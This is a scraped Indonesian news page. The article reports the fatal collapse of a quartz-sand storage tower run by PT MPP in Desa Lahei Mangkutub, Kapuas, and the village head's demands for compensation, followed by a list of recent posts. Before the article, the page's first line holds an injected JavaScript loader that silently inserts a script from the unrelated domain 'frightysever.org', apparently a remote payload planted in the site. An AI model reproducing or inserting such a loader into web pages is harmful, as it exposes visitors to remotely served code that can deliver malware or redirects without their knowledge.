(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Pekerja Lokal Tewas Tertimpa Tower Penampungan Pasir Kuarsa, Ini Tuntutan Kades


KANALKALIMANTAN. COM, KUALA KAPUAS – Musibah robohnya corong atau tower penampung pasir kuarsa milik PT MPP yang beroperasi di Desa Lahei Mangkutub, Kecamatan Mantangai, Kabupaten Kapuas, Selasa (13/7/2021) , menewaskan seorang pekerja lokal.

Korban bernama Ahmad Albar (20), warga Desa Lahei Mangkutub RT 07, Kecamatan Mantangai, meninggal dunia tertimpa tower penampung pasir tersebut. Dalam kejadian juga ada pekerja warga negara asing (WNA) yang selamat, namun mengalami luka hingga dilarikan ke rumah sakit di Palangkaraya.

Terkait insiden robohnya tower tersebut, Kepala Desa Lahei Mangkutub, Ugak mengatakan, atas nama pemerintah desa dan mewakili saudara dari korban, meminta kepedulian PT MPP untuk membantu korban.

Baca juga: Relawan PPKM Mikro Kaladan Jaya-Puskesmas Mantangai Pantau Kegiatan Posyandu Lansia

 

 

“Kalau memang pihak perusahaan tidak membantu korban akibat runtuhnya tower itu, maka kami selaku kepala desa Lahei Mangkutub akan melakukan penutupan perusahaan tersebut, walaupun mempunyai izin resmi,” tegasnya.

Memang pihak PT MPP telah memberikan santunan biaya pemakaman sebesar Rp 20 juta kepada pihak keluarga korban, namun pihak perusahaan juga berjanji memberikan bantuan kembali.

Kades Lahei Mangkutub Ugak. Foto: ags

“Kami mewakili pihak keluarga korban akan menuntut janji tersebut, apabila janji tidak sesuai atau sengaja lupa, maka selaku pihak keluarga korban dan atas nama kepala desa Lahei mangkutub akan melakukan penutupan terhadap PT MPP,” tegas Kades Lahei Mangkutub.

Baca juga: Malaysia Dapat Ratusan Izin Haji dari Arab Saudi

Kades Lahei Mangkutub menjelaskan, dengan kejadian ini menjadi pengalaman bagi pihak perusahaan khususnya PT MPP, agar melaksanakan fungsinya sebagai perusahaan, terutama yang berada di Desa Lahei Mangkutub. Para pekerja itu semua mempunyai hak-hak yang benar-benar sebagai karyawan di PT MPP sesuai dari dinas ketenaga kerjaan.

“Jangan hanya pihak perusahaan menggunakan lelah kita sebagai masyarakat yang diperlukan, sementara kewajiban perusahaan tidak dilaksanakan,” ucap Kades Lahei Mangkutub, Jumat (16/7/2021).

“Harapan kami selaku kepala desa Lahei Mangkutub, terutama bukan hanya perusahaan ini saja, akan tetapi seluruh perusahaan di wilayah Desa Lahei Mangkutub, agar melaksanakan kewajibannya, apalagi telah memperkerjakan warga negara asing,” ucap Ugak. (kanalkalimantan.com/ags)

Editor : kk


Risa

Recent Posts

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

56 menit ago

Waket I DPRD Kapuas Apresiasi Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More

1 jam ago

Kafilah HSU Paling Awal Tampil saat Pawai Ta’aruf MTQ

KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More

2 jam ago

Pj Bupati HSU Hadiri Pembukaan MTQN XXXV Kalsel di Tapin

KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More

3 jam ago

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

17 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

17 jam ago

This website uses cookies.